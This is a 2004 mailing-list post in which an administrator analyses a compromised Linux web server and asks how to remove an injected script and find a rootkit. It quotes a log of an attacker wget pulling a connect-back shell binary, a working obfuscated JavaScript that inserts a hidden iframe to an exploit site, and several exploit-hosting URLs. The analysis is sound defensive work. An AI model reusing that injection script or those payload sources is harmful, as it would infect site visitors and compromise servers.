xpire.info & splitinfinity.info - exploits in the wild

["Elia Florio" <eflorio () edmaster it>]

Hi list,
i'm doing some analysis on a Linux-Mandrake 9.0 web server
of a person that was compromised in October.
In this host now it's installed a special trojan that insert a
malicious <IFRAME> tag into every served .PHP page.

The host is running these services :

Porta 21: 220 ProFTPD 1.2.5 Server (XXXXXXX FTP Server) [server]
Porta 22: SSH-1.99-OpenSSH_3.4p1
Porta 25: 220 XXXXX ESMTP 5.5.1
Porta 110: +OK <XXXX@XXXXXX>
Porta 3306: MySQL 3.23.52
Porte 80/443: Server: Apache-AdvancedExtranetServer/1.3.26 (Mandrake
Linux/6mdk)
sxnet/1.2.4 mod_ssl/2.8.10 OpenSSL/0.9.6g PHP/4.2.3

I've found inside Apache log that the hacker break-in inside the machine
using an overflow and injecting an executable /tmp/a.out via "qmail-inject".
These are the suspicious log lines :

[Sun Oct  3 03:35:10 2004] [notice] child pid 16012 exit signal Segmentation
fault (11)
[Sun Oct  3 04:08:34 2004] [notice] child pid 1272 exit signal Segmentation
fault (11)
[Sun Oct  3 07:18:27 2004] [notice] child pid 4397 exit signal Segmentation
fault (11)
[Mon Oct  4 02:27:55 2004] [notice] child pid 1203 exit signal Segmentation
fault (11)
qmail-inject: fatal: unable to parse this line:From: I.T.I.S. S. CANNIZZARO"
<angdimar () yahoo it>
[Mon Oct  4 18:43:02 2004] [notice] child pid 4248 exit signal Segmentation
fault (11)
[Mon Oct  4 22:58:50 2004] [notice] child pid 1190 exit signal Segmentation
fault (11)
[Tue Oct  5 11:58:13 2004] [notice] child pid 15689 exit signal Segmentation
fault (11)
qmail-inject: fatal: unable to parse this line:
To: Drugo:Lebowski () libero it
sh: -c: option requires an argument
--15:50:07--  http://xpire.info/cli.gz
           => `/tmp/a.out'
Resolving xpire.info... fatto.
Connecting to xpire.info[221.139.50.11]:80... connected.HTTP richiesta
inviata, aspetto la risposta... 200 OK
Lunghezza: 19,147 [text/plain]

    0K .......... ........                                   100% 9.97K

15:50:13 (9.97 KB/s) - `/tmp/a.out' salvato [19147/19147]

[Fri Oct  8 20:26:52 2004] [notice] child pid 9647 exit signal Segmentation
fault (11)
[Sat Oct  9 01:09:51 2004] [notice] child pid 3840 exit signal Segmentation
fault (11)


Tryin a WGET of http://xpire.info/cli.gz , I get an ELF executable for
Linux,
possible containing a ConnectBack shell. Inside this ELF file you can grep
these strings:

Usage:  %s host port
 pqrstuvwxyzabcde 0123456789abcdef /dev/ptmx /dev/pty /dev/tty sh -i Can't
fork pty, bye!
 Fuck you so
 /bin/sh No connect
 Looking up %s... Failed!
 OK
 %u Connect Back

I don't know if the hacker installs in this machine a rootkit, but the check
of md5sum of
ls, lsof, ps, netstat binaries with other ones from a clean Mandrake distr.
was good.......

The main problem is finding how the Apache Server (or PHP) was altered by
the hacker,
because every user that connects to this host now, could be infected by
several HTML/IE recent exploits.
Sniffing an HTTP packet from this host, I've found that *SOMETIMES* (in a
random way??)
web server inserts a special javascript between HTTP-Header and served page.
The script is :

<script language=javascript>
eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,1
01,40,34,60,105,102,114,97,109,101,32,115,114,99,61,39,104,116,116,112,58,47
,47,119,119,119,46,115,112,108,105,116,105,110,102,105,110,105,116,121,46,10
5,110,102,111,47,102,97,47,63,100,61,103,101,116,39,32,104,101,105,103,104,1
16,61,49,32,119,105,100,116,104,61,49,62,60,47,105,102,114,97,109,101,62,34,
41))
</script>

Decoding it, I see that it writes inside the page an <IFRAME> tag pointing
to this url :

<iframe src='http://www.splitinfinity.info/fa/?d=get&apos; height=1
width=1></iframe>

If you surf to this page (don't do this if you use IE or are not patched)
you could got infected
by several exploits, cause it opens a lot a <iframe> pointing out to
different domains.

I would to list here these domains, cause they are a sources
for exploit studying :

Domain: www.sp2fucked.biz
http://69.50.168.147/user28/counter.htm

Found MHTMLRedir.Exploit
http://213.159.117.133/dl/adv121.php

http://195.178.160.30/js.php?cust=28

http://195.178.160.30/ifr.php?cust=89

http://69.50.168.147/user28/exploit.htm

Found Java class exploit
http://69.50.168.147/user28/exploit2.htm

My questions are :

1) how can I remove this injected Javascript/IFRAME ? I've checked
httpd.conf and a lot of PHP pages,
but I don't found anything.....Is it possible that the hacker install some
compromised Apache module ..so???

2) anyone knows before these sites (xpire.info or splitinfinity.info)?
why they are still online and are serving trojan/exploit on surfer browser?
xpire.info is related to "Mike Fox".....but it sounds as a fake Jonh Doe
registration!

      Domain ID:  D5946452-LRMS
      Domain Name:  XPIRE.INFO
      Created On:  23-May-2004 19:41:15 UTC
      Last Updated On:  02-Aug-2004 08:07:20 UTC
      Expiration Date:  23-May-2005 19:41:15 UTC
      Sponsoring Registrar:  Direct Information Pvt Ltd. d/b/a Directi.com
(R159-LRMS)
      Status:  ACTIVE
      Status:  OK
      Registrant ID:  C4752858-LRMS
      Registrant Name:  Mike Fox
      Registrant Organization:  n/a
      Registrant Street1:  Hali-gali, 77
      Registrant City:  Deli
      Registrant Postal Code:  12345
      Registrant Country:  IN
      Registrant Phone:  +91.226370256
      Registrant Email:  c8idkvtgarwinidkvt38 () yahoo com


3) how can I understand if a rootkit was installed???

Thanks anyone for replies

EF

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